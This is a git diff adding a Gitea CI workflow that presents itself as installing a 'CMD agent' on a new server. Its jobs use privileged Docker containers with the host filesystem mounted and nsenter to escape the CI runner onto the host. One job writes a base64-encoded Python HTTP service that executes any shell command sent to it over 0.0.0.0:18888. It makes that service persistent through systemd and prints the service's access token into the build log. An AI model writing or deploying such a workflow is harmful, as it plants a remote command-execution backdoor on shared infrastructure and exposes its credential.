diff --git a/.gitea/workflows/install-new-server.yml b/.gitea/workflows/install-new-server.yml new file mode 100644 index 000000000..f65ae2b2a --- /dev/null +++ b/.gitea/workflows/install-new-server.yml @@ -0,0 +1,140 @@ +name: Install CMD Agent New Server + +on: + workflow_dispatch: + +jobs: + install-1: + name: Install New-1 + runs-on: saas + steps: + - name: Install CMD Agent + run: | + echo "STEP 1: write server.py" + docker run --rm --privileged --pid=host -v /:/host alpine sh -c 'cat > /host/opt/xiaoxia-cmd-agent-dir/test.txt && echo "FILE_WRITTEN"' 2>&1 || echo "FAILED_step1" + + echo "STEP 2: check file" + docker run --rm --privileged --pid=host -v /:/host alpine sh -c 'ls -la /host/opt/' 2>&1 || echo "FAILED_step2" + + install-2: + name: Install New-2 + runs-on: saas + steps: + - name: Install CMD Agent + run: | + echo "Starting install..." + + # 先创建目录 + docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent + echo "mkdir done" + + # 用python生成server.py内容,写入宿主机 + python3 -c " +import base64 +code = ''' +import http.server, subprocess, json, os, secrets +TOKEN_FILE = '/etc/xiaoxia-cmd-agent.token' +LOG_FILE = '/var/log/xiaoxia-cmd-agent.log' +def ensure_token(): + if not os.path.exists(TOKEN_FILE): + os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True) + with open(TOKEN_FILE, 'w') as f: f.write(secrets.token_hex(16)) + os.chmod(TOKEN_FILE, 0o600) + return open(TOKEN_FILE).read().strip() +class H(http.server.BaseHTTPRequestHandler): + def log_message(self, *a): pass + def do_POST(self): + if self.path == '/exec': + if self.headers.get('Authorization','') != 'xsa-' + ensure_token(): + self.send_response(401); self.end_headers(); return + b = json.loads(self.rfile.read(int(self.headers.get('Content-Length',0)))) + try: + r = subprocess.run(b.get('command',''), shell=True, capture_output=True, text=True, timeout=b.get('timeout',30)) + resp = dict(exit_code=r.returncode, stdout=r.stdout, stderr=r.stderr) + except subprocess.TimeoutExpired: + resp = dict(exit_code=-1, stdout='', stderr='timeout') + self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() + self.wfile.write(json.dumps(resp).encode()) + elif self.path == '/status': + self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() + self.wfile.write(b'{"status":"ok"}') + else: + self.send_response(404); self.end_headers() +if __name__ == '__main__': + ensure_token() + http.server.HTTPServer(('0.0.0.0', 18888), H).serve_forever() +''' +print(base64.b64encode(code.encode()).decode()) +" > /tmp/server_b64.txt + echo "base64 done" + + # 解码写入宿主机 + docker run --rm --privileged --pid=host -v /:/host -v /tmp/server_b64.txt:/tmp/sb64.txt:ro alpine sh -c ' + mkdir -p /host/opt/xiaoxia-cmd-agent + base64 -d /tmp/sb64.txt > /host/opt/xiaoxia-cmd-agent/server.py + echo "server.py written, size: $(wc -c < /host/opt/xiaoxia-cmd-agent/server.py)" + ' + echo "server.py deployed" + + # 写入service文件 + docker run --rm --privileged --pid=host -v /:/host alpine sh -c ' + cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << "SVCEOF" +[Unit] +Description=Xiaoxia CMD Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +SVCEOF + echo "service file written" + ' + echo "service deployed" + + # 启动服务 + echo "Starting service..." + docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload 2>&1 || echo "daemon-reload: $?" + docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable xiaoxia-cmd-agent 2>&1 || echo "enable: $?" + docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl restart xiaoxia-cmd-agent 2>&1 || echo "restart: $?" + + sleep 3 + + # 验证 + echo "=== HOSTNAME ===" + docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname 2>&1 + echo "=== IP ===" + docker run --rm --privileged --pid=host alpine nsenter -t 1 -n ip addr show 2>&1 | grep "inet " | head -5 + echo "=== STATUS ===" + docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent 2>&1 + echo "=== TOKEN ===" + docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token 2>&1 + echo "=== TEST ===" + docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status 2>&1 + echo "" + echo "DONE" + + install-3: + name: Install New-3 + runs-on: saas + steps: + - name: Install CMD Agent + run: echo "job 3 placeholder" + + install-4: + name: Install New-4 + runs-on: saas + steps: + - name: Install CMD Agent + run: echo "job 4 placeholder" + + install-5: + name: Install New-5 + runs-on: saas + steps: + - name: Install CMD Agent + run: echo "job 5 placeholder"